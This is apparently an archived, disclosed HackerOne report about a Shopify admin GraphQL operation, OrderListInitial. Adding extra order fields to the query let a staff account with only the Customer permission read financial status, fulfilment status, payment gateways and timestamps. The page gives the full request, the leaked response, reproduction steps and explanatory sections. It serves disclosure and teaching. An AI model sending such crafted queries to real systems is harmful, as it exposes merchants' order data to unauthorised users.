Skip to content
Access control Disclosed report Intermediate

OrderListInitial leaks order details

A GraphQL operation used by the admin interface returned full order details to a staff account that only had the Customer permission, instead of the limited order summary a customer should see. An attacker with such a low-privileged staff account could read order fields such as financial status, fulfilment status, payment gateway names and timestamps for orders they should not access.

sreeju_kc Follow

Originally disclosed on HackerOne

Bounty$1,500 Medium 5.0 View original
  • Triaged in 3 days
  • Fixed in 24 days
  • Paid in 4 days
  • Disclosed after 3 months

Hello,

During my investigation I have noticed that OrderListInitial graphql operation is leaking more information that it suppose to be for a staff with "Customer" only permission.

Normally the graphql call is as below.

POST /admin/internal/web/graphql/core HTTP/1.1 {"operationName":"OrderListInitial","variables":{},"query":"query OrderListInitial {\n localDeliveryEnabled\n shop {\n id\n ordersDelayedSince\n appLinks(type: ORDERS, location: INDEX) {\n id\n text\n url\n icon {\n transformedSrc(maxWidth: 80)\n __typename\n }\n __typename\n }\n appActions: appLinks(type: ORDERS, location: ACTION) {\n id\n text\n url\n icon {\n transformedSrc(maxWidth: 80)\n __typename\n }\n __typename\n }\n plan {\n trial\n __typename\n }\n showInstallMobileAppBanner\n features {\n fraudProtectEligibility\n eligibleForBulkLabelPurchase\n __typename\n }\n currencyCode\n __typename\n }\n locationsExist: locations(first: 2, includeLegacy: true) {\n edges {\n node {\n id\n __typename\n }\n __typename\n }\n __typename\n }\n ordersAll: orders(first: 1, reverse: true) {\n edges {\n node {\n id\n __typename\n }\n __typename\n }\n __typename\n }\n}\n"}

and the response is below.

"ordersAll":{"edges":[{"node":{"id":"gid://shopify/Order/1936560029718","__typename":"Order"},"__typename":"OrderEdge"}],"__typename":"OrderConnection"}},

But when included more fields in the call as below.

{"operationName":"OrderListInitial","variables":{},"query":"query OrderListInitial {\n localDeliveryEnabled\n shop {\n id\n ordersDelayedSince\n appLinks(type: ORDERS, location: INDEX) {\n id\n text\n url\n icon {\n transformedSrc(maxWidth: 80)\n __typename\n }\n __typename\n }\n appActions: appLinks(type: ORDERS, location: ACTION) {\n id\n text\n url\n icon {\n transformedSrc(maxWidth: 80)\n __typename\n }\n __typename\n }\n plan {\n trial\n __typename\n }\n showInstallMobileAppBanner\n features {\n fraudProtectEligibility\n eligibleForBulkLabelPurchase\n __typename\n }\n currencyCode\n __typename\n }\n locationsExist: locations(first: 2, includeLegacy: true) {\n edges {\n node {\n id\n __typename\n }\n __typename\n }\n __typename\n }\n ordersAll: orders(first: 1, reverse: true) {\n edges {\n node {\n id\n billingAddressMatchesShippingAddress\n canMarkAsPaid\n canMarkAsPaid\n capturable\n clientIp\n createdAt\n discountCode\n displayFinancialStatus \n displayFulfillmentStatus\n edited\n email\n fulfillable\n fullyPaid\n merchantEditable\n name\n note\n paymentGatewayNames\n phone\n refundable\n requiresShipping\n restockable\n unpaid\n __typename\n }\n __typename\n }\n __typename\n }\n}\n"}

The response i received is below.

"ordersAll":{"edges":[{"node":{"id":"gid://shopify/Order/1936560029718"," billingAddressMatchesShippingAddress":false, "canMarkAsPaid":true, "capturable":false, "clientIp":null, "createdAt":"2020-05-24T21:13:29Z", "discountCode":null, "displayFinancialStatus":"PENDING", "displayFulfillmentStatus":"UNFULFILLED", "edited":false, "email":null, "fulfillable":true, "fullyPaid":false, "merchantEditable":false, "name":"#1006#", "note":null, "paymentGatewayNames":["Test"], "phone":null, "refundable":false, "requiresShipping":true, "restockable":true, "unpaid":false,"__typename":"Order"},"__typename":"OrderEdge"}],"__typename":"OrderConnection"}

This disclose so many information for a staff with "Customer" only permission (no Order permission)

I haven't tried every possible calls in the order scope, i did not try mutation as well.

Normally a customer should see below informations only for the order linked to the customer.

Orders placed Order #1006# Tomorrow at 5:13 pm at 5:13 PM €1.00 from Draft Orders AttentionIncompleteUnfulfilled

But you can see here it leaks nearly every information about the order.

POC: 1)Create products, customer and orders. 2)Add a staff with "Customer" only permission and call the graphql call mentioned above.

Impact

Make sure that only required informations are disclosed for staff with customer only permission.

Attachments

Screenshot_2020-05-25_at_20.37.52.png
Screenshot_2020-05-25_at_20.37.52.png From the original on HackerOne
Screenshot_2020-05-25_at_20.59.01.png
Screenshot_2020-05-25_at_20.59.01.png
Screenshot_2020-05-25_at_20.59.43.png
Screenshot_2020-05-25_at_20.59.43.png

The original report as published on HackerOne, by sreeju_kc. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A staff member with only the Customer permission could read order details such as financial and fulfilment status, payment gateway names and creation time, which they should not be able to see.

What the attacker needed

A staff account with Customer-only permission

The fix

The GraphQL operation should restrict returned order fields to what the staff member's permissions allow.

How it was found

  1. Create products, a customer and some orders.
  2. Add a staff member with only the Customer permission.
  3. Send the OrderListInitial GraphQL request with extra order fields added to the query.
  4. Observe that the response contains detailed order information.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A staff account can be given narrow permissions, here only the Customer permission, meaning the person should not be able to look at order records. The admin page asks the server for data through a GraphQL request, which is a structured query to an API. The server returned far more order fields than the page needed, so the low-privileged user could see order details anyway.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by sreeju_kc

View all

2 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.